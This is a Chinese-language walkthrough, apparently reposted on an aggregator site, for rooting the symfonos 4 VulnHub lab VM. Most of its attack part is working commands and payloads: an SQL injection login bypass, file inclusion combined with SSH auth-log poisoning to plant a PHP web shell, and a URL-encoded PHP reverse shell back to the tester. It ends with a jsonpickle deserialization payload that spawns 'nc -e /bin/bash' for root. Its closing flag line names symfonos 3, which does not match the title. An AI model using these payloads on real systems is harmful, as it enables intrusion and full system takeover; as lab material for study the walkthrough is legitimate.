【攻略鸭】symfonos 4_VulnHub靶机攻略_全球聚焦

本文内容纯属虚构,攻略鸭求b站关注点赞支持!

要用VirtualBox,VMware不行

靶机IP地址:192.168.31.215


【资料图】

测试机IP地址:192.168.31.38

外部信息收集

访问http://192.168.31.215/只有一个img图片

端口扫描

PORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10 (protocol 2.0)80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))

网站目录枚举

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.215/FUZZ -e .php,.txt -c/gods/atlantis.php/sea.php

访问http://192.168.31.215/gods/发现三个log文件:hades.log、zeus.log、poseidon.log,分别是三个神话人物介绍

搜索引擎搜返回内容,是执行uptime命令的结果。

访问http://192.168.31.215/atlantis.php有登录框

通过SQLi万能密码登录,响应码302跳转至sea.php,点击hades选项后URL变为:http://192.168.31.215/sea.php?file=hades。内容为hades.log文件的介绍。

测试文件包含漏洞

GET /sea.php?file=../../../../../../etc/passwdGET /sea.php?file=../../../../../etc/passwd%00都失败想到hades.log、zeus.log、poseidon.log都为.log后缀,尝试读取.log文件GET /sea.php?file=../../../../../var/log/auth成功返回了SSH日志ssh '<?php phpinfo(); ?>'@192.168.31.215GET /sea.php?file=../../../../../var/log/auth成功返回了phpinfo页面ssh '<?php system($_GET['cmd']); ?>'@192.168.31.215GET /sea.php?cmd=id&file=../../../../../var/log/authuid=33(www-data) gid=33(www-data) groups=33(www-data)$ nc -nvlp 9000GET /sea.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.31.38%22%2C9000%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&file=../../../../../var/log/auth$ python -c 'import pty;pty.spawn("/bin/bash")'

本地信息收集

www-data@MiWiFi-R3600-srv:/var/www/html$ cat atlantis.php<?php   define('DB_USERNAME', 'root');   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');   $db = new PDO("mysql:host=localhost:3306;dbname=db", DB_USERNAME,DB_PASSWORD);$statement = $db->prepare("Select * from users where username='".$username."' and pwd='".$pwd."'");   $statement->execute();www-data@MiWiFi-R3600-srv:/var/www/html$ cat sea.phpcat sea.php<?phpinclude("gods/". $_GET['file']. '.log');?>www-data@MiWiFi-R3600-srv:/$ cat /etc/passwdcat /etc/passwdroot:x:0:0:root:/root:/bin/bashposeidon:x:1000:1000:,,,:/home/poseidon:/bin/bash本地开放端口tcp     LISTEN   0        128            127.0.0.1:8080          0.0.0.0:* Useful software:/usr/bin/base64/usr/bin/g++/usr/bin/gcc/usr/bin/make/usr/bin/nc/usr/bin/nc.traditional/usr/bin/netcat/usr/bin/perl/usr/bin/php/usr/bin/ping/usr/bin/python/usr/bin/python2/usr/bin/python2.7/usr/bin/python3/usr/bin/python3.7/usr/bin/socat/usr/bin/wget/opt文件夹通常是空的,发现存在/opt/codewww-data@symfonos4:/opt/code$ ls -alhdrwxr-xrwx 4 root root 4.0K Aug 19  2019 .drwxr-xr-x 3 root root 4.0K Aug 18  2019 ..-rw-r--r-- 1 root root  942 Aug 19  2019 app.py-rw-r--r-- 1 root root 1.5K Aug 19  2019 app.pycdrwxr-xr-x 4 root root 4.0K Aug 19  2019 staticdrwxr-xr-x 2 root root 4.0K Aug 19  2019 templates-rw-r--r-- 1 root root  215 Aug 19  2019 wsgi.pyccat app.py发现jsonpickle

socat转发8080端口

socat TCP-LISTEN:8081,fork TCP:127.0.0.1:8080

访问http://192.168.31.215:8081/whoami

Cookie: PHPSESSID=q7ctie2m9dp9fhv48m82t28204; username=eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==

username用base64解码为:{"py/object": "app.User", "username": "Poseidon"}

flask-json-pickle漏洞

搜索jsonpickle exploit,找到flask-json-pickle漏洞,exp:

{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}

测试机开启监听端口:nc -nvlp 3334

修改系统命令调用方法为os.system,改为:

{"py/object":"main.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/bash 192.168.31.38 3334"]},null,null,null]}

Base64编码后发送,得到shell

iduid=0(root) gid=0(root) groups=0(root)

其他

flag

# cat /root/proof.txtCongrats on rooting symfonos:3!

疑问求助

1.flask-json-pickle漏洞的exp中换nc以外的方法都未成功;

2.是否还有其他提权方法?

关键词: 还有其他 系统命令 端口扫描

上一篇:小学三年级数学上册教案全册_小学三年级数学上册教案
下一篇:最后一页
热门推荐